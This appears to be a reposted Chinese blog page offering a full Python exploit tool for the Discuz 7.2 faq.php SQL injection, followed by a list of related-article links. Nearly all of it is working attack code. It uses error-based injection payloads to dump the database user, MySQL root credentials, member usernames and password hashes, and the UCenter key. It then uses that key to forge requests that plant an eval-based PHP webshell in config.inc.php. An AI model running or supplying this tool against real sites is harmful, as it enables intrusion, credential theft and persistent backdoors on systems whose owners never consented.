Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: gb2312 -*-

# -*- coding: utf_8 -*-

# author iswin

import sys

import hashlib

import time

import math

import base64

import urllib2

import urllib

import re

def sendRequest(url,para):

try:

data = urllib.urlencode(para)

req=urllib2.Request(url,data)

res=urllib2.urlopen(req,timeout=20).read()

except Exception, e:

print 'Exploit Failed!\n%s'%(e)

exit(0);

return res

def getTablePrefix(url):

print 'Start GetTablePrefix...'

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

pre=re.findall("Duplicate entry '(.*?)'",res);

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1].decode('hex')

table_pre=table_pre[0:table_pre.index('_')]

print 'Table_pre:%s'%(table_pre)

return table_pre

def getCurrentUser(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para)

pre=re.findall("Duplicate entry '(.*?)'",res)

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1]

print 'Current User:%s'%(table_pre)

return table_pre

def getUcKey(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

res1=sendRequest(url,para1);

key1=re.findall("Duplicate entry '(.*?)'",res)

key2=re.findall("Duplicate entry '(.*?)'",res1)

if len(key1)==0:

print 'Get Uc_Key Failed!'

return ''

key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]

print 'uc_key:%s'%(key)

return key

def getRootUser(url):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}

res=sendRequest(url,para);

pre=re.findall("Duplicate entry '(.*?)'",res)

if len(pre)==0:

print 'Exploit Failed!'

exit(0);

table_pre=pre[0][:len(pre[0])-1].split(' ')

print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):

para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}

res=sendRequest(url,para);

datas=re.findall("Duplicate entry '(.*?)'",res)

if len(datas)==0:

print 'Exploit Failed!'

exit(0)

cleandata=datas[0][:len(datas[0])-1]

info=cleandata.split(' ')

print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :

if get_as_float:

return time.time()

else:

return '%.8f %d' % math.modf(time.time())

def get_authcode(string, key = ''):

ckey_length = 4

key = hashlib.md5(key).hexdigest()

keya = hashlib.md5(key[0:16]).hexdigest()

keyb = hashlib.md5(key[16:32]).hexdigest()

keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]

cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()

key_length = len(cryptkey)

string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string

string_length = len(string)

result = ''

box = range(0, 256)

rndkey = dict()

for i in range(0,256):

rndkey[i] = ord(cryptkey[i % key_length])

j=0

for i in range(0,256):

j = (j + box[i] + rndkey[i]) % 256

tmp = box[i]

box[i] = box[j]

box[j] = tmp

a=0

j=0

for i in range(0,string_length):

a = (a + 1) % 256

j = (j + box[a]) % 256

tmp = box[a]

box[a] = box[j]

box[j] = tmp

result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

return keyc + base64.b64encode(result).replace('=', '')

def get_shell(url,key,host):

headers={'Accept-Language':'zh-cn',

'Content-Type':'application/x-www-form-urlencoded',

'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',

'Referer':url

}

tm = time.time()+10*3600

tm="time=%d&action=updateapps" %tm

code = urllib.quote(get_authcode(tm,key))

url=url+"?code="+code

data1='''

http://xxx\');eval($_POST[3]);//'''

try:

req=urllib2.Request(url,data=data1,headers=headers)

ret=urllib2.urlopen(req)

except:

return "Exploit Falied"

data2='''

http://aaa'''

try:

req=urllib2.Request(url,data=data2,headers=headers)

ret=urllib2.urlopen(req)

except:

return "error"

try:

req=urllib2.Request(host+'/config.inc.php')

res=urllib2.urlopen(req,timeout=20).read()

except Exception, e:

print 'GetWebshell Failed,%s'%(e)

return

print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':

print 'DZ7.x Exp Code By iswin'

if len(sys.argv)<3:

print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.bitsCN.com 10'

exit(0)

url=sys.argv[1]+'/faq.php'

count=int(sys.argv[2])

user=getCurrentUser(url)

if user.startswith('root@'):

getRootUser(url)

uc_key=getUcKey(url)

if len(uc_key)==64:

print 'Start GetWebshell...'

get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])

tb_pre=getTablePrefix(url)

print 'Start DumpData...'

for x in xrange(0,count):

dumpData(url,tb_pre,x)

本条技术文章来源于互联网,如果无意侵犯您的权益请点击此处反馈版权投诉

本文系统来源:php中文网

discuz 7.2 /faq.php sql注入漏洞,Python写的Discuz7.2版faq.php注入漏洞工具相关推荐

  1. Discuz 7.2 /faq.php SQL注入漏洞

    测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Discuz 7.2 /faq.php SQL注入漏洞 http://www.xxx.com/faq.php?actio ...

  2. php7 魔术引号,php代码审计魔术引号带来的注入问题浅析之Discuz_7.x faq.php SQL注入漏洞...

    首先根据存在的目的可以理解处理机制: 当打开时所有的'单引号."双引号.\反斜线.NULL字符都被自动加上一个反斜线进行转义: 1)得到原字符的场景举例(',\,",null) $ ...

  3. SQL注入、XSS、XXE、CSRF、SSRF、越权漏洞、文件上传、文件包含总结篇

    漏洞总结篇 SQL注入 什么是SQL注入? 怎么防御? 过滤特殊字符 修改php.in 使用mysqli_real_escape_string()函数 加固数据库方面 加固管理方面 Mybatis 防 ...

  4. 洞态漏洞检出测试第二期:NoSQL LDAP注入漏洞

    ​测试环境 DongTai-Python-agent 版本号:v1.2.0 支持 Python 框架:Flask Python 3.8 NoSQL 注入漏洞 以 JavaScript 注入为例 Jav ...

  5. MYSQLg高级-----SQL注入的理解(初级篇)以及如何防止注入

    SQL注入 1.SQL 注入概念 1.1 SQL注入是什么? 1.2 SQL注入定义 1.3 SQL注入特点 1.广泛性 2.隐蔽性 3.危害大 4.操作方便 1.4 SQl注入原理 1.5 SQl注 ...

  6. 开发者论坛一周精粹(第十七期) :【漏洞预警】Windows再被爆SMB服务0day漏洞,阿里云提示您关注并修复...

    第十七期(2017年7月31日-2017年8月6日 ) 在美国拉斯维加斯举行的2017年度DEF CON黑客大会上,安全研究人员公布了Windows系统上的一个长达20年没有发现的漏洞,该漏洞名为&q ...

  7. 0day安全:软件漏洞分析技术(第2版)pdf

    下载地址:网盘下载 内容简介  · · · · · · 本书分为4篇17章,系统全面地介绍了Windows平台缓冲区溢出漏洞的分析.检测与防护.第一篇为常用工具和基础知识的介绍:第二篇从攻击者的视角出 ...

  8. java怎么进行漏洞检测_如何安全检测Java Web应用网站漏洞?

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 1.SQL注入漏洞 从SQL注入漏洞说起吧,在web漏洞里,SQL注入是最容易被利用而又最具有危害性的.怎么快速的找到呢?先分析流程,就拿用户查看文章这个 ...

  9. OWASP top10漏洞原理及防御(2017版官方)

    文章目录 一.OWASP top 10简介 二.OWASP top 10详解 A1:2017-注入 A2:2017-失效的身份认证 A3:2017-敏感数据泄露 A4:2017-XML外部实体(XXE ...

最新文章

  1. Rocksdb 通过ingestfile 来支持高效的离线数据导入
  2. 我招了个“水货”程序员
  3. Java的最大优势还是跨平台么?
  4. 2、事务的概念和特性
  5. 对四方继保实施嵌入式Linux开发培训
  6. Spring batch 2.0例子(lineMapper)
  7. extjs年月日时分选择控件_UI设计|网站公共控件及交互事件
  8. 白盒测试中的六种覆盖方法及案例分析
  9. 助教总结-【北京电子科技学院_2016-2017-2_程序设计与数据结构】
  10. (python)数据结构------列表
  11. Linq无聊练习系列7----Insert,delete,update,attach操作练习
  12. Markdown笔记神器Typora配置Gitee图床
  13. MySQL之视图、触发器、事务、存储过程、函数
  14. 华为手机怎么开启生产模式 | 华为手机打开生产模式后有驱动没有安装好怎么办 | 华为荣耀9手机打开生产模式后有驱动有叹号怎么办
  15. python读取xml文件并修改_如何在Python中解析和修改XML?
  16. c语言程序隔断,别再砌墙了!20种方法让隔断在你家C位出场
  17. base循环解码工具
  18. 极路由2hc5761刷华硕固件_[固件] 【原创首发】极二路由HC5761 9012.1.9227s成功刷成openwrt...
  19. 华中电网项目日志:Rational version 7.0 技术会议纪要
  20. 清理c盘爆满告急,C盘清理

热门文章

  1. 2019年9月8号(周日)
  2. 熊节:谁震撼了世界——第14届Jolt奖点评
  3. 皇家彩世界教程下载合约机是什么意思?
  4. linux ctg重装,Linux系统中CTG的安装,应用程序开发以及调试
  5. WEEK 9 B 东东学打牌
  6. 借助iMazing工具重新安装或升级 iOS系统
  7. VSCode编写Markdown设置输出PDF的页边距
  8. 45招绝密电脑全面小技巧汇总
  9. iphone x php兼容吗,为什么我不建议你现在买苹果xs?看看iphoneX就知道了
  10. 三星 j3 android 8.0,加拿大三星S8/Note 8即将上安卓8.0:S7/A5/J3等手机同升级